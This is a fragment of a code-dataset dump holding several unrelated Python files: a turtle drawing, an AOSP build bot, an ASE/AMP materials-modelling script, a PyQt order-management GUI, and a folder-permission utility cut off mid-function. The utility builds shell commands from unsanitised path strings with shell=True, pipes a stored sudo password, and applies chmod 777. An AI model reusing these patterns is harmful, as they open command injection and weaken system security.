str('0'+temp[-1])\n else:\n return str(temp[-2:])\n\n","sub_path":"controller/MyMainWindow.py","file_name":"MyMainWindow.py","file_ext":"py","file_size_in_byte":25634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"525484442","text":"import turtle\nt=turtle.Turtle()\nt.color(\"cyan\")\nt.speed(0)\n\ncolors=['green','blue','yellow','red','orange','purple','cyan','green','blue','yellow','red','orange','purple','cyan']\n\ndef square(color):\n for side in range(4):\n t.forward(100)\n t.right(90)\n for side in range(4):\n t.forward(50)\n t.right(90)\nt.penup()\nt.back(40)\nt.pendown()\n\nfor color in colors:\n t.color(color)\n square(colors)\n t.forward(50)\n t.left(45)\nt.hideturtle()","sub_path":"New folder/turtle/box circle.py","file_name":"box circle.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386058106","text":"from datetime import datetime\nfrom pathlib import Path\nfrom homebot import bot_path\nfrom homebot.core.config import get_config\nfrom homebot.core.error_handler import format_exception\nfrom homebot.core.logging import LOGE\nfrom homebot.lib.libupload import Uploader\nfrom homebot.modules.ci.artifacts import STATUS_ERROR, STATUS_SUCCESS, STATUS_UPLOADING, Artifacts\nfrom homebot.modules.ci.parser import CIParser\nfrom homebot.modules.ci.projects.aosp.post import PostManager, chat_id\nfrom homebot.modules.ci.projects.aosp.returncode import ERROR_CODES, NEEDS_LOGS_UPLOAD, SUCCESS\nimport re\nimport subprocess\nfrom telegram.ext import CallbackContext\nfrom telegram.update import Update\n\nADDITIONAL_ARTIFACTS = [\n\t\"boot.img\",\n\t\"vendor_boot.img\",\n\t\"dtbo.img\",\n\t\"recovery.img\",\n]\n\nclass AOSPProject:\n\t\"\"\"\n\tThis class represent an AOSP project.\n\t\"\"\"\n\t# This value will also be used for folder name\n\tname: str\n\t# Version of the project\n\tversion: str\n\t# Android version to display on Telegram post\n\tandroid_version: str\n\t# Name of the parent folder used when uploading\n\tcategory: str\n\t# These next 2 values are needed for lunch (e.g. \"lineage\"_whyred-\"userdebug\")\n\tlunch_prefix: str\n\tlunch_suffix: str\n\t# Target to build (e.g. to build a ROM's OTA package, use \"bacon\" or \"otapackage\", for a recovery project, use \"recoveryimage\")\n\tbuild_target: str\n\t# Filename of the zip. You can also use wildcards if the name isn't fixed\n\tzip_name: str\n\n\tdef __init__(self, update: Update, context: CallbackContext, args: list[str]):\n\t\t\"\"\"Initialize AOSP project class.\"\"\"\n\t\tself.update = update\n\t\tself.context = context\n\t\tself.args = args\n\t\tparser = CIParser(prog=\"/ci\")\n\t\tparser.set_output(self.update.message.reply_text)\n\t\tparser.add_argument('device', help='device codename')\n\t\tparser.add_argument('-ic', '--installclean', help='make installclean before building', action='store_true')\n\t\tparser.add_argument('-c', '--clean', help='make clean before building', action='store_true')\n\t\tparser.add_argument('--release', help='upload build to release profile', action='store_true')\n\t\tparser.set_defaults(clean=False, installclean=False, release=False)\n\t\tself.parsed_args = parser.parse_args(args)\n\n\tdef build(self):\n\t\tproject_dir = Path(f\"{get_config('ci.main_dir', '')}/{self.name}-{self.version}\")\n\t\tdevice_out_dir: Path = project_dir / \"out\" / \"target\" / \"product\" / self.parsed_args.device\n\n\t\tartifacts = Artifacts(device_out_dir, [self.zip_name] + ADDITIONAL_ARTIFACTS)\n\t\tpost_manager = PostManager(self, self.parsed_args.device, artifacts)\n\n\t\tif self.parsed_args.clean is True:\n\t\t\tclean_type = \"clean\"\n\t\telif self.parsed_args.installclean is True:\n\t\t\tclean_type = \"installclean\"\n\t\telse:\n\t\t\tclean_type = \"none\"\n\n\t\tpost_manager.update(\"Building\")\n\n\t\tcommand = [bot_path / \"modules\" / \"ci\" / \"projects\" / \"aosp\" / \"tools\" / \"building.sh\",\n\t\t \"--sources\", project_dir,\n\t\t \"--lunch_prefix\", self.lunch_prefix,\n\t\t \"--lunch_suffix\", self.lunch_suffix,\n\t\t \"--build_target\", self.build_target,\n\t\t \"--clean\", clean_type,\n\t\t \"--device\", self.parsed_args.device]\n\n\t\tlast_edit = datetime.now()\n\t\tprocess = subprocess.Popen(command, encoding=\"UTF-8\",\n\t\t stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\t\twhile True:\n\t\t\toutput = process.stdout.readline()\n\t\t\tif output == '' and process.poll() is not None:\n\t\t\t\tbreak\n\t\t\tif not output:\n\t\t\t\tcontinue\n\n\t\t\tnow = datetime.now()\n\t\t\tif (now - last_edit).seconds < 150:\n\t\t\t\tcontinue\n\n\t\t\tresult = re.search(r\"\\[ +([0-9]+% [0-9]+/[0-9]+)\\]\", output.strip())\n\t\t\tif result is None:\n\t\t\t\tcontinue\n\t\t\tresult_split = str(result.group(1)).split()\n\t\t\tif len(result_split) != 2:\n\t\t\t\tcontinue\n\n\t\t\tpercentage, targets = re.split(\" +\", result.group(1))\n\t\t\tpost_manager.update(f\"Building: {percentage} ({targets})\")\n\n\t\t\tlast_edit = now\n\n\t\treturncode = process.poll()\n\n\t\t# Process return code\n\t\tbuild_result = ERROR_CODES.get(returncode, \"Build failed: Unknown error\")\n\n\t\tpost_manager.update(build_result)\n\n\t\tneeds_logs_upload = NEEDS_LOGS_UPLOAD.get(returncode, False)\n\t\tif needs_logs_upload != False:\n\t\t\tlog_file = open(project_dir / needs_logs_upload, \"rb\")\n\t\t\tself.context.bot.send_document(chat_id, log_file)\n\t\t\tlog_file.close()\n\n\t\tif returncode != SUCCESS or get_config(\"ci.upload_artifacts\", False) is not True:\n\t\t\treturn\n\n\t\t# Upload artifacts\n\t\tif self.parsed_args.release:\n\t\t\tuploader_profile = \"release\"\n\t\telse:\n\t\t\tuploader_profile = \"ci\"\n\n\t\ttry:\n\t\t\tuploader = Uploader(uploader_profile)\n\t\texcept Exception as e:\n\t\t\tpost_manager.update(f\"{build_result}\\n\"\n\t\t\t f\"Upload failed: {type(e)}: {e}\")\n\t\t\treturn\n\n\t\tartifacts.update()\n\n\t\tzip_filename = list(device_out_dir.glob(self.zip_name))\n\t\tif not zip_filename:\n\t\t\treturn\n\n\t\tzip_filename = zip_filename[0].name\n\n\t\tpost_manager.update()\n\t\tupload_path = Path() / self.parsed_args.device / zip_filename.removesuffix(\".zip\")\n\t\tfor artifact in artifacts.keys():\n\t\t\tartifacts[artifact] = STATUS_UPLOADING\n\t\t\tpost_manager.update()\n\n\t\t\ttry:\n\t\t\t\tuploader.upload(artifact, upload_path)\n\t\t\texcept Exception as e:\n\t\t\t\tartifacts[artifact] = STATUS_ERROR\n\t\t\t\tLOGE(f\"Error while uploading artifact {artifact.name}:\\n\"\n\t\t\t f\"{format_exception(e)}\")\n\t\t\telse:\n\t\t\t\tartifacts[artifact] = STATUS_SUCCESS\n\n\t\t\tpost_manager.update()\n","sub_path":"homebot/modules/ci/projects/aosp/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"557153377","text":"import os\nimport sys\nimport logging\n\nimport numpy as np\nimport matplotlib.pyplot as plt \n\nimport ase.io\nfrom ase import Atoms, Atom, units\nfrom ase.calculators.vasp import Vasp\nfrom ase.calculators.emt import EMT\nfrom ase.build import fcc110\nfrom ase.build import fcc111\nfrom ase.build import fcc100\nfrom ase.build import surface\nfrom ase.md.velocitydistribution import MaxwellBoltzmannDistribution\nfrom ase.md import VelocityVerlet\nfrom ase.constraints import FixAtoms\nfrom ase.calculators.vasp.vasp import VaspChargeDensity\n\nimport amp\nfrom amp import Amp\nfrom amp import utilities\nfrom amp.model import LossFunction\nfrom amp.analysis import read_trainlog\nfrom amp.analysis import plot_convergence\nfrom amp.analysis import plot_sensitivity\nfrom amp.descriptor.gaussian import Gaussian\nfrom amp.model.neuralnetwork import NeuralNetwork\n\n\n# ---------------------------------------------------------\n# GLOBAL SETTINGS AND VARIABLES\n# ---------------------------------------------------------\n\nFILENAME = 'Al10.traj' #'al_large_longMD.traj'\n\nlogging.basicConfig(level=logging.INFO)\n\nPATH_PLOT = \"/home/nuss/01/bt702501/Dokumente/PlotsII_reloaded/\"\n\nT_GLOBAL = 300\nDT_STEP_GLOBAL = 1\n\n# ---------------------------------------------------------\n# FUNCTIONS\n# ---------------------------------------------------------\n\ndef generate_data(count, filename='data.traj'):\n \"\"\"Generates test or training data with a simple MD simulation.\"\"\"\n if not os.path.exists(filename):\n traj = ase.io.Trajectory(filename, 'w')\n #atoms = fcc110('Pt', (2, 2, 2), vacuum=7.)\n #atoms.extend(Atoms([Atom('Cu', atoms[7].position + (0., 0., 2.5)),\n # Atom('Cu', atoms[7].position + (0., 0., 5.))]))\n #atoms.set_constraint(FixAtoms(indices=[0, 2]))\n\n T = T_GLOBAL\n dt_step = DT_STEP_GLOBAL\n \n if filename == 'gold.traj' or filename == 'gold2.traj':\n atoms = fcc111('Au', (2,2,2), vacuum=7.0)\n atoms.set_chemical_symbols(['Au', 'Au', 'Au', 'Au', 'Pd', 'Pd', 'Pd', 'Pd'])\n T = 6000\n dt_step = 5\n print(atoms)\n elif filename == 'al.traj' or filename == 'al2.traj':\n atoms = fcc100('Al', (3,3,2), vacuum=10.0)\n T = 300\n dt_step = 2\n elif filename == 'al_large.traj' or filename == 'al_large_longMD.traj' or filename == 'Al6.traj':\n atoms = fcc100('Al', (4,6,6), vacuum=20.)\n T = 300\n dt_step = 2\n elif filename == 'Al6.traj':\n atoms = fcc100('Al', (4,6,6), vacuum=20.)\n T = 300\n dt_step = 2\n elif filename == 'Al8.traj':\n atoms = fcc100('Al', (4,6,8), vacuum=20.)\n T = 300\n dt_step = 2\n elif filename == 'al_large_12layers.traj':\n atoms = fcc100('Al', (4,6,12), vacuum=20.)\n T = 300\n dt_step = 2\n elif filename == 'MA.traj':\n with open(\"POSCAR_MA\") as f:\n all_lines = f.readlines()\n all_lines = [x[:-1] for x in all_lines]\n all_atoms = all_lines[5].split()\n n_atoms = all_lines[6].split()\n atoms = []\n for atom, n in zip(all_atoms, n_atoms):\n atoms.append((atom, n))\n atom_types = ''\n for atom_type, n in atoms:\n atom_types += str(atom_type)\n if n != '1':\n atom_types += str(n)\n lattice_vectors = np.array([np.float64(line.split()) for line in all_lines[2:5]])\n all_coordinates = np.array([np.float64(line.split()) for line in all_lines[8:]])\n\n atoms = Atoms(atom_types, pbc=True, positions=all_coordinates, cell=lattice_vectors)\n T = 300\n dt_step = 2 \n \n print(atoms)\n print(atoms.get_positions())\n print(atoms.get_chemical_symbols())\n\n atoms.set_calculator(Vasp(setups='recommended', npar=16, nsim=4))\n MaxwellBoltzmannDistribution(atoms, T * units.kB)\n dyn = VelocityVerlet(atoms, dt=dt_step * units.fs)\n dyn.run(50)\n\n energy = atoms.get_potential_energy()\n traj.write(atoms)\n densities = []\n energies = []\n energies.append(energy)\n # IMPORTANT: Density is already divided by volume!!!\n C = VaspChargeDensity(filename='CHGCAR')\n densities.append(C.chg)\n\n for step in range(count-1):\n logging.info(\" Calculating step {}\".format(step+1))\n dyn.run(5)\n traj.write(atoms)\n C = VaspChargeDensity(filename='CHGCAR')\n densities.append(C.chg)\n energies.append(atoms.get_potential_energy())\n print(energies[-1])\n traj.close()\n densities = np.array(densities)\n \n #densities_numpy = 'densities_{}.npy'.format(filename[:-5])\n #if not os.path.exists(densities_numpy):\n # np.save(densities_numpy, densities, allow_pickle=True)\n #else:\n # densities = np.load(densities_numpy, allow_pickle=True)\n energies_numpy = '../Al6_reloaded/energies_Al6.npy'.format(filename[:-5])\n if not os.path.exists(energies_numpy):\n np.save(energies_numpy, energies, allow_pickle=True)\n else:\n energies = np.load(energies_numpy, allow_pickle=True)\n\n # Train-test-split\n train_images, test_images, train_energies, test_energies = train_test_split(\n filename, energies, fraction=0.8) \n\n #densities_train_numpy = 'densities_train_{}.npy'.format(filename[:-5])\n #densities_test_numpy = 'densities_test_{}.npy'.format(filename[:-5])\n #if not os.path.exists(densities_train_numpy) or os.path.exists(densities_test_numpy):\n # np.save(densities_train_numpy, train_densities)\n # np.save(densities_test_numpy, test_densities)\n\n return (train_images, test_images, train_energies, test_energies)\n\n\ndef predict(train_images, test_images, calc):\n fig, ax = plt.subplots()\n\n actual_energies = []\n actual_densities = []\n predicted_energies = [] \n predicted_densities = []\n\n # TODO: Rework for loop --> Calculator might be reset at wrong times\n # Predicting on training data\n for i_dataset, atoms in enumerate(train_images):\n # Get actual energy\n actual_energy = atoms.get_potential_energy()\n actual_energies.append(actual_energy)\n # Get predicted energy\n atoms.set_calculator(calc)\n predicted_energy = atoms.get_potential_energy()\n predicted_energies.append(predicted_energy)\n \n ax.plot(actual_energy, predicted_energy, 'b.')\n \n # Predicting on test data\n for i_dataset, atoms in enumerate(test_images):\n # Get actual energy\n actual_energy = atoms.get_potential_energy()\n actual_energies.append(actual_energy)\n # Get predicted energy\n atoms.set_calculator(calc)\n predicted_energy = atoms.get_potential_energy()\n predicted_energies.append(predicted_energy)\n\n ax.plot(actual_energy, predicted_energy, 'r.')\n \n ax.set_xlabel('Actual energy / eV')\n ax.set_ylabel('Predicted energy / eV')\n fig.savefig(os.path.join(PATH_PLOT, 'parity000.png'))\n\n return (actual_energies, predicted_energies)\n \n \n\ndef train_test_split(images, energies, fraction=0.8):\n \"\"\"Randomly assigns 'fraction' of the images to a training set and\n (1-'fraction') to a test set. Returns two lists of ASE images\n and two lists of the respective densities\n \n Parameters\n ----------\n images: str\n Path to ASE trajectory (.traj)\n densities: numpy array\n Numpy array containing all densities\n fraction: float\n Portion of train_images to all images\n\n Returns\n -------\n train_images, test_images: list\n List of train and test images\n train_densities, test_densities: list\n Numpy array of train and test densities\n \"\"\"\n images = ase.io.Trajectory(images, 'r')\n \n trainingsize = int(fraction * len(images))\n testsize = len(images) - trainingsize\n testindices = []\n while len(testindices) < testsize:\n next = np.random.randint(len(images))\n if next not in testindices:\n testindices.append(next)\n testindices.sort()\n trainindices = [index for index in range(len(images)) if index\n not in testindices]\n train_images = [images[index] for index in trainindices]\n test_images = [images[index] for index in testindices]\n \n print(\"Train indices:\", trainindices)\n print(\"Test indices:\", testindices)\n\n train_energies = np.array([energies[index] for index in trainindices])\n test_energies = np.array([energies[index] for index in testindices]) \n\n images.close()\n \n return train_images, test_images, train_energies, test_energies\n\n\n\ndef observer(model, vector, loss):\n \"\"\"Function used for verbosity during training\n ERROR in amp --> Function not correctly implemented in current version\"\"\"\n print(vector[0])\n\n# ---------------------------------------------------------\n# MAIN PROGRAM\n# ---------------------------------------------------------\n\nif __name__ == '__main__':\n from amp.analysis import plot_parity_and_error\n\n # Generate training and test data\n logging.info(\"Generating training and test data\")\n train_images, test_images, \\\n train_energies, test_energies\\\n = generate_data(50, FILENAME)\n logging.info(\"Generation of training and test data finished!\")\n #print(\"Train densities:\", train_densities.shape)\n #print(\"Test densities:\", test_densities.shape)\n print(\"Train energies:\", train_energies.shape)\n print(\"Test energies:\", test_energies.shape)\n \n \n #sys.exit(0) \n # Training model\n logging.info(\"Starting Training\")\n \n cores = {} \n with open('mpd.hosts') as f:\n all_lines = f.readlines()\n for core in all_lines:\n core = core[:-1]\n if core not in cores.keys():\n cores[core] = 1\n elif core in cores.keys():\n cores[core] += 1\n print(cores) \n\n #calc = Amp(descriptor=Gaussian(),\n # model=NeuralNetwork(hiddenlayers=(10, 10, 10)),\n # cores=32,\n # #envcommand='export PYTHONPATH=/tp_leppert/amp_package/amp',\n # label='calc_{}'.format(FILENAME[:-5]))\n #convergence = {'energy_rmse': 0.0009,\n # 'energy_maxresid': 0.0018,\n # 'force_rmse': 0.1,\n # 'force_maxresid': 0.7}\n #calc.model.lossfunction = LossFunction(convergence=convergence, force_coefficient=0.3)\n #calc.train(images=train_images)\n calc = Amp.load('../Al6_reloaded/calc_Al6.amp')\n logging.info(\"Training finished!\")\n\n #print(calc.descriptor.fingerprints)\n calc_vasp = Vasp(setups='recommended', npar=16, nsim=4)\n\n energies = []\n forces = [] \n for image in test_images:\n image.set_calculator(calc_vasp)\n energy = image.get_potential_energy()\n force = image.get_forces()\n energies.append(energy)\n forces.append(force)\n energies = np.array(energies)\n forces = np.array(forces)\n print(energies)\n np.save('energies_vasp_{}'.format(FILENAME[:-5]), energies)\n np.save('forces_vasp_{}'.format(FILENAME[:-5]), forces)\n\n\n energies = []\n forces = []\n for image in test_images:\n image.set_calculator(calc)\n energy = image.get_potential_energy()\n force = image.get_forces()\n energies.append(energy)\n forces.append(force)\n energies = np.array(energies)\n forces = np.array(forces)\n print(energies)\n np.save('energies_amp_{}'.format(FILENAME[:-5]), energies)\n np.save('forces_amp_{}'.format(FILENAME[:-5]), forces)\n\n\n # Testing model\n #plot_parity_and_error(calc=calc, \n # images=test_images,\n # plotfile_parity=os.path.join(PATH_PLOT, 'parity_{}.pdf'.format(FILENAME[:-5])),\n # plotfile_error=os.path.join(PATH_PLOT, 'error_{}.pdf'.format(FILENAME[:-5])),\n # overwrite=True)\n #actual_energies, predicted_energies = predict(train_images, test_images, calc)\n #logdata = read_trainlog('calc_{}-log.txt'.format(FILENAME[:-5]))\n #plot_convergence(data=logdata, plotfile=os.path.join(PATH_PLOT, 'convergence_{}.pdf'.format(FILENAME[:-5])))\n #plot_sensitivity(calc=calc, images=FILENAME, plotfile=os.path.join(PATH_PLOT, 'sensitivity_{}.pdf'.format(FILENAME[:-5])))\n \n","sub_path":"Al_slabs/Al6_for_Al10_reloaded/model_AMP.py","file_name":"model_AMP.py","file_ext":"py","file_size_in_byte":12566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"132670725","text":"from PyQt5 import QtCore, QtWidgets\n\nfrom configurationdialog import ConfigurationDialog\nfrom persistancefacility import MongoDataPersistenceFacility\nfrom managementtools import OrdersManagementTool, ProductsManagementTool, CustomerManagementTool\nfrom sharedcomponets import IconProvider\n\nclass UserInteractionMainWindow(object):\n\n def setupUi(self, MainWindow):\n\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(595, 458)\n MainWindow.setWindowTitle(\"Gestión Arroces Llopis \")\n\n\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n\n # Add layout de to the main window\n self.horizontalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n self.horizontalLayout.setObjectName(\"verticalLayout\")\n\n # Add tabebd tools widget to the main window\n self.tabbedToolsWidget = ToolsWidget(self.centralwidget)\n self.horizontalLayout.addWidget(self.tabbedToolsWidget)\n\n # Add toolbar to the main window\n self.toolBar = ArrocesLlopisToolBar(self.tabbedToolsWidget, MainWindow)\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n\n # Add status bar to the main window\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n # Add central Widget to the main window\n MainWindow.setCentralWidget(self.centralwidget)\n\nclass ToolsWidget(QtWidgets.QTabWidget):\n \"\"\"\"\"\"\n def __init__(self, parent=None):\n \"\"\"Constructor for ToolsWidget\"\"\"\n super(QtWidgets.QTabWidget, self).__init__(parent)\n self.setTabsClosable(True)\n self.setMovable(True)\n self.setObjectName(\"toolsTabWidget\")\n\n self.ordersManagementTool = None\n self.customerManagementTool = None\n self.productsManagementTool = None\n\n self.tabCloseRequested.connect(self.removeTabHandler)\n\n self.setStyleSheet(\"QTabBar::close - button { image: url(close.png) subcontrol - position: left; }\")\n self.setStyleSheet(\"QTabBar::tab { height: 30px; width: 150px;}\")\n\n def removeTabHandler(self, index):\n\n supressedTab = self.widget(index)\n if type(supressedTab) is OrdersManagementTool:\n self.ordersManagementTool = None\n elif type(supressedTab) is CustomerManagementTool:\n self.customerManagementTool = None\n elif type(supressedTab) is ProductsManagementTool:\n self.productsManagementTool = None\n\n self.removeTab(index)\n\n def addCustomersTool(self):\n if self.customerManagementTool is None:\n\n hedlabels = ('Nombre', 'Apellidos', 'Télefono', 'Email', 'Dirección','Fecha')\n hedprops = (100, 100, 100, 100, 100, 100)\n self.customerManagementTool = CustomerManagementTool(hedlabels, hedprops)\n self.addTab(self.customerManagementTool, IconProvider.getIconByName(\"customers\"), \"Clientes\")\n\n def addOrdersTool(self):\n if self.ordersManagementTool is None:\n hedlabels = ('Pedido ID','Nombre Cliente', 'Teléfono','Fecha','Hora Entrega', 'Estado', 'Precio')\n hedprops = (100, 100, 100, 100, 100, 100,100)\n self.ordersManagementTool = OrdersManagementTool(hedlabels, hedprops)\n self.addTab(self.ordersManagementTool, IconProvider.getIconByName(\"orders\"), \"Pedidos\")\n\n def addProductsTool(self):\n if self.productsManagementTool is None:\n hedlabels = ('Nombre', 'Tipo', 'Precio', 'Estatus', 'Versión', 'Product ID')\n hedprops = (200, 100, 100, 100, 100, 100)\n self.productsManagementTool = ProductsManagementTool(hedlabels, hedprops)\n self.addTab(self.productsManagementTool, IconProvider.getIconByName(\"products\"), \"Productos\")\n\nclass ArrocesLlopisToolBar(QtWidgets.QToolBar):\n \"\"\" \"\"\"\n def __init__(self, workAreaTabWidget, parent=None):\n super(QtWidgets.QToolBar, self).__init__(parent)\n # creamos todos los iconos necesarios para la barra de herramientas\n self.workAreaTabWidget = workAreaTabWidget\n\n self.customersAction = QtWidgets.QAction(mainWindow)\n self.customersAction.setIcon(IconProvider.getIconByName(\"customers\"))\n self.customersAction.setObjectName(\"customersAction\")\n self.customersAction.triggered.connect(workAreaTabWidget.addCustomersTool)\n\n self.ordersAction = QtWidgets.QAction(mainWindow)\n self.ordersAction.setIcon(IconProvider.getIconByName(\"orders\"))\n self.ordersAction.setObjectName(\"ordersAction\")\n self.ordersAction.triggered.connect(workAreaTabWidget.addOrdersTool)\n\n self.productsAction = QtWidgets.QAction(mainWindow)\n self.productsAction.setIcon(IconProvider.getIconByName(\"products\"))\n self.productsAction.setObjectName(\"productsAction\")\n self.productsAction.triggered.connect(workAreaTabWidget.addProductsTool)\n\n self.connectToolButton = QtWidgets.QToolButton(mainWindow)\n self.connectToolButton.setCheckable(True)\n self.connectToolButton.setIcon(IconProvider.getIconByName(\"disconnect\"))\n self.connectToolButton.setObjectName(\"connectToolButton\")\n self.connectToolButton.toggled.connect(self.connectAction)\n\n self.configureAction = QtWidgets.QAction(mainWindow)\n self.configureAction.setIcon(IconProvider.getIconByName(\"configure\"))\n self.configureAction.setObjectName(\"configureAction\")\n self.configureAction.triggered.connect(self.configuretAction)\n\n self.addAction(self.customersAction)\n self.addAction(self.ordersAction)\n self.addAction(self.productsAction)\n self.addSeparator()\n self.addWidget(self.connectToolButton)\n self.addSeparator()\n self.addAction(self.configureAction)\n\n def connectAction(self):\n if self.connectToolButton.isChecked():\n MongoDataPersistenceFacility.getInstance().connect()\n if not MongoDataPersistenceFacility.getInstance().isConnected():\n self.connectToolButton.setChecked(False)\n QtWidgets.QMessageBox.critical(self, \"Conexion a Base de datos\", \"Fallo conectando a la base de datos\",\n QtWidgets.QMessageBox.Ok)\n else:\n self.connectToolButton.setIcon(IconProvider.getIconByName(\"connect\"))\n else:\n self.connectToolButton.setIcon(IconProvider.getIconByName(\"disconnect\"))\n MongoDataPersistenceFacility.getInstance().disconnect()\n\n def configuretAction(self):\n configuration = MongoDataPersistenceFacility.getInstance().parseConfigurationFile()\n configurationDialog = ConfigurationDialog(configuration)\n configurationDialog.setWindowModality(QtCore.Qt.ApplicationModal)\n if configurationDialog.exec_():\n modifiedConfiguration = configurationDialog.getConfiguration()\n MongoDataPersistenceFacility.getInstance().saveConfigurationToFile(modifiedConfiguration)\n\nimport resources_rc\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n mainWindow = QtWidgets.QMainWindow()\n userInteractionMainWindow = UserInteractionMainWindow()\n userInteractionMainWindow.setupUi(mainWindow)\n mainWindow.show()\n sys.exit(app.exec_())\n","sub_path":"arrocesllopisapp.py","file_name":"arrocesllopisapp.py","file_ext":"py","file_size_in_byte":7396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58068697","text":"import base64\nimport hashlib\nimport hmac\nimport json\nimport subprocess\nfrom server import change_documents_jurisdiction_settings\nfrom random import randint\nfrom os.path import exists\n\n\ndef makedir(path):\n \"\"\"\n 修改指定文件夹的权限\n :param path: 文件夹的绝对路径\n :return:无\n \"\"\"\n p = subprocess.Popen(\n \"mkdir \" + path,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n p.communicate()\n\n\ndef change_jur(path, password, jur=\"777\"):\n \"\"\"\n 修改指定文件夹的指定权限\n :param path: 指定文件夹的绝对路径\n :param password:当前登录的sudo组用户密码\n :param jur:　修改为的权限组码\n :return:　无\n \"\"\"\n p = subprocess.Popen(\n \"sudo -S chmod \" + jur + \" \" + path,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n p.stdin.write(password + \"\\n\")\n p.communicate()\n p.stdin.close()\n\n\ndef get_user_group_list():\n \"\"\"\n 获取当前系统中所有的有效用户及其所属组组成的字典\n :return:字典，{groupname&groupid:[username&userid] ... }\n \"\"\"\n\n p = subprocess.Popen(\n \"cat /etc/passwd\",\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n users_list = p.stdout.readlines()\n p.communicate()\n p.stdin.close()\n\n real_users_list = []\n for user_info in users_list:\n user_info = user_info[:-1]\n if user_info.endswith(\"sh\"):\n real_users_list.append(user_info)\n\n users_list = []\n gid_list = []\n for user_info in real_users_list:\n username = user_info.split(\":\")[0]\n uid = user_info.split(\":\")[2]\n gid = user_info.split(\":\")[3]\n users_list.append(\"%s&%s&%s\" % (username, uid, gid))\n gid_list.append(gid)\n\n gid_list = set(gid_list)\n\n p = subprocess.Popen(\n \"cat /etc/group\",\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n group_list = p.stdout.readlines()\n p.communicate()\n p.stdin.close()\n user_group_list = []\n for group in group_list:\n if group.split(\":\")[2] in gid_list:\n for user in users_list:\n if group.split(\":\")[2] == user.split(\"&\")[2]:\n user_group_list.append(\"%s&%s\" % (user, group.split(\":\")[0]))\n\n user_dict = {}\n for i in user_group_list:\n if i.split(\"&\")[3] in user_dict:\n user_dict[i.split(\"&\")[3]].append(i.split(\"&\")[0])\n else:\n user_dict[i.split(\"&\")[3]] = [i.split(\"&\")[0]]\n\n return user_dict\n\n\ndef get_all_folder(customer_number=\"\"):\n \"\"\"\n 获取一个已存在客户号文件夹中所的的项目名列表\n :param customer_number: 客户号\n :return: 该客户号文件下所有的项目名列表，[项目1-平头车刀, 项目2, ...]\n \"\"\"\n\n p = subprocess.Popen(\n \"ls \" + change_documents_jurisdiction_settings.FILEPATH + customer_number,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n result_list = p.stdout.readlines()\n p.communicate()\n p.stdin.close()\n customer_folder_list = []\n for i in result_list:\n customer_folder_list.append(i[:-1])\n\n return customer_folder_list\n\n\ndef get_filename(customer_number):\n \"\"\"\n 获取指定目录下的推荐新建目录名\n :param customer_number: 被指定的目录\n :return: 推荐目录名\n \"\"\"\n customer_number_all_folder = get_all_folder(customer_number)\n\n if not customer_number_all_folder:\n return change_documents_jurisdiction_settings.FILENAME_PREFIX + \"000001\"\n\n max_folder = customer_number_all_folder[-1]\n\n max_folder_num = \"\"\n for i in max_folder:\n if i.isdigit():\n max_folder_num += i\n else:\n if max_folder_num:\n break\n\n prefix = max_folder[:max_folder.find(max_folder_num)]\n\n return prefix + f\"%0{change_documents_jurisdiction_settings.FILENAME_NUMBER_LENGTH}d\" % (int(max_folder_num) + 1)\n\n\ndef create_secret():\n \"\"\"\n 生成一个32位的密钥\n :return: 字符串\n \"\"\"\n str_list = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\",\n \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\",\n \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", \"!\", \"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\", \"?\"]\n\n secret = \"\"\n for i in range(32):\n secret += str_list[randint(0, len(str_list) - 1)]\n\n return secret\n\n\nclass MakedirWithDifferentJurisdiction:\n \"\"\"\n 根据客户号创建并修改二级目录的权限\n \"\"\"\n password = change_documents_jurisdiction_settings.USER_PASSWORD\n file_list = [change_documents_jurisdiction_settings.CHILDFILE1,\n change_documents_jurisdiction_settings.CHILDFILE2,\n change_documents_jurisdiction_settings.CHILDFILE3,\n change_documents_jurisdiction_settings.CHILDFILE4,\n change_documents_jurisdiction_settings.CHILDFILE5,\n change_documents_jurisdiction_settings.CHILDFILE6,\n change_documents_jurisdiction_settings.CHILDFILE7,\n change_documents_jurisdiction_settings.CHILDFILE8,\n ]\n\n def __init__(self, customer_num):\n self.customer_num = customer_num\n self.path = change_documents_jurisdiction_settings.FILEPATH + customer_num\n\n def create_file(self, filename, child_filename=None):\n if not child_filename:\n child_filename = \"\"\n\n file_path = self.path + \"/\" + filename + \"/\" + child_filename\n 